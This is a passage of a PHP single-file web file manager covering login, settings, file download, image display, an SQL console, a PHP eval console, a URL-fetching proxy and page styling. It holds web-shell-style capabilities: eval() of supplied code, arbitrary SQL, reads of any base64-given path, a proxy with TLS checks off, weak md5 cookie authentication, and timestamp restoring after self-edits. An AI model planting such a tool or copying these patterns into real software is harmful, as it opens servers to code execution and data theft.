	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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